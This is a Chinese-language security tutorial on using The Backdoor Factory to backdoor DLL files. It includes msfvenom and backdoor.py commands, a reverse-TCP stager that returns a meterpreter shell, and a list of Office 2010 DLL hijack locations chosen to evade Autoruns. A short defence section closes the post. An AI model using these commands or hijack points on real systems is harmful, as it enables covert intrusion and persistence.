22

利用BDF向DLL文件植入后门

 3 years ago
source link: https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8BDF%E5%90%91DLL%E6%96%87%E4%BB%B6%E6%A4%8D%E5%85%A5%E5%90%8E%E9%97%A8/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

利用BDF向DLL文件植入后门

0x00 前言


在之前的文章《利用BDF向EXE文件植入后门》介绍了使用The Backdoor Factory向EXE文件植入后门的方法,这次将要介绍向DLL文件植入后门的思路,演示一种DLL劫持的利用方法,总结该方法的特点,分析防御思路

0x01 简介


本文将要介绍以下内容:

  • 劫持自己的DLL,修复BUG
  • 劫持系统的DLL,绕过Autoruns的后门检测

0x02 利用思路


DLL同EXE文件的植入思路相同,也是通过修改程序的执行流程,跳转到Code Caves,执行payload,再返回至程序的正常流程

DLL同EXE文件最大的区别是多了导出函数的功能

在实现DLL劫持时,常常需要获得原DLL的导出函数,模拟导出函数,添加payload,实现利用

那么,The Backdoor Factory在DLL文件的后门植入上,是否要考虑导出函数呢?

下面进行测试,得出结论

0x03 编写程序进行测试


测试Dll testdll.dll:

#include <windows.h>
#include <stdio.h>
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		//MessageBox(NULL, NULL, NULL, 0);
		//Sleep(5000);
		printf("[+] DLL_PROCESS_ATTACH\n");
	case DLL_THREAD_ATTACH:
		printf("[+] DLL_THREAD_ATTACH\n");
	case DLL_THREAD_DETACH:
		printf("[+] DLL_THREAD_DETACH\n");
	case DLL_PROCESS_DETACH:
		printf("[+] DLL_PROCESS_DETACH\n");
		break;
	}
	return TRUE;
}

void Export1()
{
	printf("[+] Export1\n");
}

导出函数为Export1

Dll加载程序 loader.exe:

#include <windows.h> 
typedef void(*Export)();
int main(int argc, char* argv[])
{
	Export exporttest;
	printf("[*] LoadLibrary\n");
	HMODULE hDllLib = LoadLibrary("testdll.dll");
	exporttest=(Export)GetProcAddress(hDllLib ,"Export1");
	exporttest();
	Sleep(10000);
	FreeLibrary(hDllLib);
	printf("[*] FreeLibrary\n");
	return 0;
}

程序执行如下图,加载testdll.dll,调用导出函数Export1

Alt text

使用The Backdoor Factory为DLL文件添加后门:

msfvenom -p windows/exec CMD=calc.exe -f raw >calc.bin
./backdoor.py -f testdll.dll -s user_supplied_shellcode_threaded -U calc.bin -a

再次执行loader.exe,测试如下图

Alt text

成功执行payload,但是改变了程序流程,无法正常返回FreeLibrary

需要对DLL进行调试,找到出错的原因

首先生成空的跳转模板:

./backdoor.py -f testdll.dll -s cave_miner_inline

选择.text

执行Loader.exe,程序一切正常,那么就是中间的payload出了问题

使用Immunity Debugger打开新的testdll.dll,找到劫持的位置,payload保存在0x10005716

Alt text

这里可以推测,payload只要能够保持堆栈平衡,那么就不会影响程序的正常执行

接下来,在0x10005716处填入我们的payload

可以使用CFF Explorer添加payload

首先定位payload起始点

PUSHAD
PUSHFD

对应的16进制代码为609C

在CFF Explorer中切换到Hex Editor视图,搜索609C,定位起始点0x0000571A

注:

通过Immunity Debugger获得的内存虚拟地址为0x1000571A,二者对应,位置正确

为了扩大payload空间,可以将后面的调整堆栈平衡代码整体后移

Alt text
Alt text

0x0005772-0x0000579E的数据整体后移,中间填入0x90

选中该部分内容,右键-Copy-Hex

找到合适的位置,右键-Fill With...

完整操作如下图

Alt text

依此方法,中间填入修改后的payload即可,完成Bug修复

通过Immunity Debugger查看DLL文件,可以看到The Backdoor Factory对DLL和EXE文件进行跳转劫持的位置一样

Alt text

得出结论:

对于DLL文件来说,劫持初始化部分造成的结果是在LoadLibrary时即可执行payload,如果想在程序加载DLL导出函数时执行payload,将跳转代码改到导出函数内即可

0x04 劫持系统的DLL


针对Office 2010,分享几个自己找到的DLL劫持利用位置

1、劫持Word-审阅试图

LOCALSVC.DLL,位于C:\Program Files\Common Files\microsoft shared\RRLoc14\

对该dll添加payload

./backdoor.py -f LOCALSVC.DLL -H 192.168.81.192 -P 4444 -s reverse_tcp_stager_threaded

替换dll(需要管理员权限),启动word.exe,切换至审阅视图,弹回meterpreter

测试如下图

Alt text

2、劫持word-插入-图片

tiptsf.dll,位于C:\Program Files\Common Files\microsoft shared\ink\

需要TrustedInstaller权限才能替换

关于如何获得TrustedInstaller权限,可参考文章《渗透技巧——Token窃取与利用》

3、劫持word-文件

也影响别的位置:

word -页面布局-主题-浏览主题

GrooveIntlResource.dll,位于C:\Program Files\Microsoft Office\Office14\2052

需要管理员权限

4、劫持Excel-插入-图片

MSPTLS.DLL,位于C:\Program Files\Common Files\microsoft shared\OFFICE14\

需要管理员权限

以上测试如下图

Alt text

注:

本节内容仅为了演示DLL劫持的一些利用方法,这些特殊的劫持位置只会在软件的特定功能打开时才会启动,所以能够绕过Autoruns的检测

0x05 防御


对于系统DLL,通过会带有微软签名,如果对DLL植入后门,签名会失效,这是一个老生常谈的问题

而对于第三方开发的软件,调用的第三方DLL不加签名,那么被利用的风险很大

0x06 小结


本文测试了使用The Backdoor Factory向DLL文件植入后门的方法,介绍修复BUG的思路,分享了一种DLL劫持的利用方法,仅供测试,通过总结该利用方法的特点,简要介绍了防御方面需要注意的问题


LEAVE A REPLY

Written on October 24, 2017

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK